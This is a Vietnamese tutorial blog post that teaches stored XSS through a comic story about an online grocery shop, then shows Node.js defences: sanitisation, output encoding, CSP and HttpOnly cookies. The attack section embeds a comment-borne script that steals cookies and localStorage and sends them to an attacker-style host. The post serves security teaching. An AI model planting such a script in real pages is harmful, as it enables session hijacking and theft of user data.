+13

Top Các Lỗ Hổng Bảo Mật (2): XSS-Stored ※ Phi vụ khởi nghiệp của bạn Khoa đẹp trai và cửa hàng tạp hóa online TapHoa4cham0.vn

Xin chào ae! Hôm nay tiếp tục series Top Các Lỗ Hổng Bảo Mật. Mình sẽ kể cho các bạn nghe một câu chuyện hưu cấu về bạn Khoa đẹp trai - chủ cửa hàng tạp hóa online TapHoa4cham0.vn và cuộc chiến chống lại XSS. Cùng mình khám phá nhé!

Ý tưởng khởi nghiệp bá đạo

Bạn Khoa đẹp trai vốn là một cựu Du học sinh Ốt sờ Truây Li A và đẹp trai như tên gọi, nhưng lại có ước mơ trở thành ông chủ tạp hóa. Một ngày đẹp trời, trong lúc đang ngồi Lai Trym bán giấy ăn, Khoa chợt nảy ra ý tưởng: "Ủa, sao mình không làm hẳn một trang web chuyên tạp hóa nhỉ?". Thế là TapHoa4cham0.vn ra đời - cửa hàng tạp hóa online đầu tiên có slogan "Mua hàng nhanh như tốc độ 5G, giá rẻ như 3G"!

Và tất nhiên để tiết kiệm chi phí và cũng tập tành học code cho biết mùi đời, bạn Khoa của chúng ta đã tự tay viết website từ đầu bằng Node.js. Mặc dù không chuyên nghiệp lắm, nhưng Khoa đã cố gắng hết sức để website của mình trở nên đẹp mắt và dễ sử dụng. Và tất nhiên là một người yêu cái đẹp Khoa đã dành 99% effort để tập trung vào giao diện. Và cuối cùng thì trang web cũng thành hình với một giao diện đẹp mắt, màu sắc tươi sáng, hấp dẫn người dùng (đẹp như nhan sắc của bạn Khoa đẹp troại vậy.)

Thành công ban đầu và "con sâu" XSS

Website TapHoa4cham0.vn nhanh chóng trở nên phổ biến vì được bơm traffic từ các buổi live strem tóp tóp của Khoa. Khách hàng thích thú với tính năng đặt hàng nhanh và hệ thống bình luận sản phẩm. Khoa vui mừng khi thấy doanh số tăng vọt, tưởng chừng sắp đạt được ước mơ trở thành "Jeff Bezos của ngành tạp hóa".

Tuy nhiên, trong bóng tối, có một kẻ đang âm thầm quan sát. Đó là anh Hai Lúa - một hacker "cây nhà lá vườn" sống ở cuối con hẻm. Anh Hai nhận ra rằng website của Khoa có một lỗ hổng bảo mật nghiêm trọng: Stored XSS.

Cuộc tấn công của anh Hai Lúa

Một ngày, anh Hai quyết định "thử nghiệm" bảo mật của TapHoa4cham0.vn. Anh để lại một bình luận có vẻ vô hại về gói mì tôm siêu cay (mà anh ấy không hề thích) nhưng kèm theo một đoạn mã JavaScript khá lạ lùng:

Mì này cay đến nỗi tôi phải uống 3 lít nước! <script>
  var stolenData = {
    cookies: document.cookie,
    localStorage: localStorage,
    userAgent: navigator.userAgent
  };
  fetch('https://hai-lua-hacker.com/steal', {
    method: 'POST',
    body: JSON.stringify(stolenData)
  });
</script> Nhưng mà ngon, 10 điểm!

Hệ thống của Khoa, vì quá tập trung vào việc làm đẹp giao diện mà quên mất bảo mật, đã lưu trữ đoạn mã này vào cơ sở dữ liệu mà không hề kiểm tra hay làm sạch.

Hậu quả không ngờ

Khi khách hàng vào xem trang sản phẩm mì tôm siêu cay, đoạn mã độc của anh Hai tự động chạy trên trình duyệt của họ. Thông tin đăng nhập, cookie và dữ liệu cá nhân của khách hàng bị gửi về máy chủ của anh Hai.

Chỉ trong vài ngày, nhiều khách hàng của TapHoa4cham0.vn phàn nàn rằng tài khoản của họ bị đăng nhập trái phép và có người đặt hàng toàn mì cay mà họ không hề hay biết. Có người còn tố cáo Khoa bán hàng đa cấp vì tự nhiên họ được assign làm đại lý mì cay. Họ được assign mà không hề biết, thậm chí không hề muốn.

Khoa nhận ra vấn đề

Khoa, sau khi nhận được nhiều phàn nàn và bị dọa "bóc phốt" trên group "Buôn Hàng Quảng Châu Fa Mi Li", bắt đầu điều tra. Cậu phát hiện ra lỗ hổng XSS và hiểu rằng mình đã mắc một sai lầm nghiêm trọng khi không xử lý đúng cách dữ liệu đầu vào từ người dùng.

Cuộc chiến chống XSS

Khoa quyết tâm sửa chữa lỗi và bảo vệ website của mình. Cậu áp dụng nhiều biện pháp bảo mật:

  1. Sanitize đầu vào:
const express = require('express');
const sanitizeHtml = require('sanitize-html');
const app = express();

app.use(express.json());

app.post('/binh-luan', (req, res) => {
  const binhLuanGoc = req.body.binhLuan;
  const binhLuanSach = sanitizeHtml(binhLuanGoc, {
    allowedTags: ['b', 'i', 'em', 'strong', 'a'],
    allowedAttributes: {
      'a': ['href']
    }
  });
  
  // Lưu binhLuanSach vào database
  luuBinhLuanVaoDatabase(binhLuanSach);
  
  res.send('Cảm ơn bạn đã góp ý! Mong bạn đừng cay như mì của chúng tôi nhé!');
});
  1. Encode đầu ra:
const he = require('he');

app.get('/san-pham/:id', (req, res) => {
  const sanPham = laySanPhamTuDatabase(req.params.id);
  const binhLuan = layBinhLuanChoSanPham(req.params.id);
  
  res.render('san-pham', {
    tenSanPham: he.encode(sanPham.ten),
    moTa: he.encode(sanPham.moTa),
    binhLuan: binhLuan.map(bl => he.encode(bl.noiDung))
  });
});
  1. Sử dụng Content Security Policy:
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self' https://cdn.taphoa4cham0.vn;"
  );
  next();
});
  1. Cài đặt HttpOnly cho cookies:
app.use(session({
  secret: 'ma_sieu_bi_mat_cua_khoa_dep_trai',
  cookie: { httpOnly: true, secure: true }
}));

Kết thúc có hậu

Sau khi áp dụng các biện pháp bảo mật, TapHoa4cham0.vn trở nên an toàn hơn bao giờ hết. Khách hàng có thể yên tâm mua sắm và để lại bình luận mà không lo bị đánh cắp thông tin hay bị ép mua mì cay.

Khoa vui mừng khi thấy cửa hàng online ngày càng phát đạt. Cậu thậm chí còn tự hào tuyên bố: "Website của tôi giờ an toàn như két sắt, mà lại nhanh như tên lửa!". Còn anh Hai Lúa? Anh ta đã "giác ngộ" và quyết định vác theo nồi cơm điện lên đường. Hai lúa bắt đầu sử dụng kỹ năng của mình vào việc tốt, trở thành chuyên gia bảo mật cho các doanh nghiệp nhỏ trong khu phố, với slogan "Hack không được thì join!".

Bài học rút ra

Câu chuyện hưu cấu của Khoa và TapHoa4cham0.vn cho chúng ta thấy tầm quan trọng của bảo mật web, đặc biệt là phòng chống XSS:

  1. Luôn kiểm tra và làm sạch dữ liệu đầu vào từ người dùng, kể cả khi họ chỉ bình luận về độ cay của mì. Hãy nhớ: "ĐỪNG BAO GIỜ TIN VÀO NGƯỜI DÙNG!"
  2. Mã hóa dữ liệu khi hiển thị ra màn hình, để tránh "cay mắt" người dùng.
  3. Sử dụng các chính sách bảo mật như CSP để tăng cường phòng thủ, giống như bạn tăng cường vị cay cho mì vậy.
  4. Bảo vệ cookies và thông tin phiên đăng nhập, vì cookies ngọt ngào cũng cần được bảo vệ.
  5. Cập nhật kiến thức bảo mật thường xuyên, giống như cập nhật menu tạp hóa vậy.

Hãy nhớ rằng, trong thế giới web, an toàn thông tin không chỉ là trách nhiệm của các công ty lớn mà còn của mọi lập trình viên, kể cả những người mới khởi nghiệp như Khoa đẹp trai.

Chúc các bạn luôn viết code an toàn và xây dựng được những ứng dụng web thú vị như cửa hàng online TapHoa4cham0.vn nhé! Và nhớ, đừng bao giờ để code của bạn cay đến mức khách hàng phải uống 3 lít nước! 🛒🛡️💻🌶️


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.